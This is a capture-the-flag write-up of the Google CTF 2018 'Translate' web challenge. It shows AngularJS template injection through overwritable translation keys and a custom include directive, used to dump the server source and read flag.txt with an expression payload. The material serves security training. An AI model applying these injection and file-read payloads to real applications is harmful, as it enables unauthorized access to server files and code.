Introduction
Once again, Google hosted a Capture the flag competition this year.
The objective is to find vulnerabilities in various applications to find a flag
and gain points.
You can check out the website here: Website
The challenges should remain online until they break, as they are not monitored anymore.
This post will cover the solution of the web Translate challenge.
Challenge: Translate
The Attachment contained a link to the challenge itself: http://translate.ctfcompetition.com:1337
Information gathering
This is a web application which helps us translating words between French and English.
Here are few screenshots of the application in action:
Solving the challenge
1. Entry point
We can notice it is an AngularJS application when viewing the source:
But oddly enough, there is no JavaScript on the page, as this application is server-side rendered.
The first thing we need to do is to find an XSS and inject our own code in this page.
My first attempt was to add a word which contained either HTML or an angular template content:
But this didn't work out, as it was sanitized.
The key to this injection is in the debug page, which contains the following JSON:
{
"lang": "fr",
"translate": "Traduire",
"not_found": "Je ne connais pas ce mot, désolé.",
"in_lang_query_is_spelled": "En francais,\n<b>{{userQuery}}</b> s'écrit\n <b ng-bind=\"i18n.word(userQuery)\"></b>.",
// ...
"original_word": "Mot à traduire",
"test<img>{{2+2}}":"test<img>{{2+2}}"
}
The injected words are at the root of the object, next to the application's original keys.
Unlike our injected words, the expressions inside the original keys are rendered and evaluated correctly.
This can be tested by overwriting the translate
key:
As we can overwrite the original JSON keys with our new unsanitized values, we can keep going!
Note: I now noticed that we could also overwrite the in_lang_query_is_spelled
key to change how our word is rendered, but in the ends the solution remains the same.
Also note that while this entry point is common to everyone, many teams found alternate solutions from here.
I will write about my experience and what I believe is the shortest path to the flag, but will link other interesting techniques and writeups in the ressource section.
2. Dumping the source
When viewing the footer source, we can see a custom my-include="static/footer.html"
attribute.
What happens if we try to create our own div with my-include="flag.txt"
?
Well, it's not that easy!
Here is the index page when translating translate
to <div my-include="flag.txt"></div>
:
The my-include directive only lets us read js
, json
or html
files, while the flag.txt
files isn't in those format.
As we can read js files, let's try to check the application source instead!
My first tries here were to find the application index, such as index.js
, app.js
, but that did not work out.
A common file most NodeJS application has is the package.json
, to list depencies and manage the application entrypoint:
<div my-include="package.json">{ "name" : "ctfssr",
"version": "0.0.1",
"main": "./srcs/index.js",
"dependencies": {
"domino": "=2.0.2",
"express": "=4.16.3",
"vm2": "=3.6.0",
"memcached-promisify": "latest",
"uuid": "latest",
"cookie-parser": "latest"
}
}
</div>
srcs/index.js
should therefore be the entrypoint of the application, as described in the main
key of the package.json
file.
Well, it turns out this isn't the case:
<div my-include="srcs/index.js">Couldn't load template: Error: ENOENT: no such file or directory, open './srcs/index.js'</div>
After searching for the entrypoint for a while, @molnar_g ended up giving me the solution once the CTF was over: srcs/server.js
I'll keep a note to add server.js
to my entrypoint fuzzing list!
With this information, we can dump the source of the server!
The main parts will be highlighted in this post but if you want the full source, it should be added to the GoogleCTF github project: https://github.com/google/google-ctf
Or you can dump it from the website itself while it is still running.
The interesting part of the source is how the SSR is done, in the renderWithAngular function:
function renderWithAngular(givenScope, lang, fs, ip) {
try {
// Remember the AngularJS sandbox? Only 2010's kids remember.
const sandbox = new NodeVM ({
require: {
// ...
import: [
`./srcs/sandboxed/angularjs_for_domino.js`,
`./srcs/sandboxed/app.js`,
`domino`
],
// ...
let renderAngularApp = sandbox.run(`
const domino = require('domino');
const initAngularJS = require('./srcs/sandboxed/angularjs_for_domino.js');
const angularApp = require('./srcs/sandboxed/app.js');
module.exports = async (givenScope, lang, fs, ds) => {
// ...
initAngularJS(window);
try {
await angularApp(window, givenScope, i18n, lang);
return window.document.innerHTML;
} catch (error) {
return 'You broke my AngularJS :( ' + error + '
}
`, 'server.js');
This lets us find more content to extract, specifically the ./srcs/sandboxed/app.js
application!
The app.js file contains the paramsController
and the myInclude
directive:
// App functionnality
app.controller('paramsController', function($window, $scope, i18n) {
$scope.window = $window;
$scope.i18n = i18n;
for (const k of Object.keys(givenScope)) {
$scope[k] = givenScope[k];
}
});
// A directive to load internationalized templates.
app.directive('myInclude', ($compile, $sce, i18n) => {
var recursionCount = 0;
return {
restrict: 'A',
link: (scope, element, attrs) => {
if (!attrs['myInclude'].match(/\.html$|\.js$|\.json$/)) {
throw new Error(`Include should only include html, json or js files ಠ_ಠ`);
}
// ...
element.html(i18n.template(attrs['myInclude']));
$compile(element.contents())(scope);
}
};
});
The interesting parts in the previous code are the $scope
assignation in the paramsController
and the i18n.template
usage in the myInclude
directive.
In order to load an external file, the myInclude directive uses i18n.template
, from the i18n service.
I didn't add the i18n.js
source here, but its behavior is similar to fs.readFileSync
, with a bit of extra parsing done.
As the paramsController
added the i18n
variable to the application's $scope
, this means we can use it in our HTML!
3. Extracting the flag
Adding the translation for translate
with a value of FLAG::{{i18n.template('flag.txt')}}::ENDFLAG
should extract the flag:
References
Google CTF 2018
The Challenge itself
Alternative writeUp
This team did not dump the source code but instead messed around with the variables of the current scope.
This ended up giving them the i18n
variable with its template
method, which works out in the end!
monlar_g's tweet giving me the server.js
path
Top comments (0)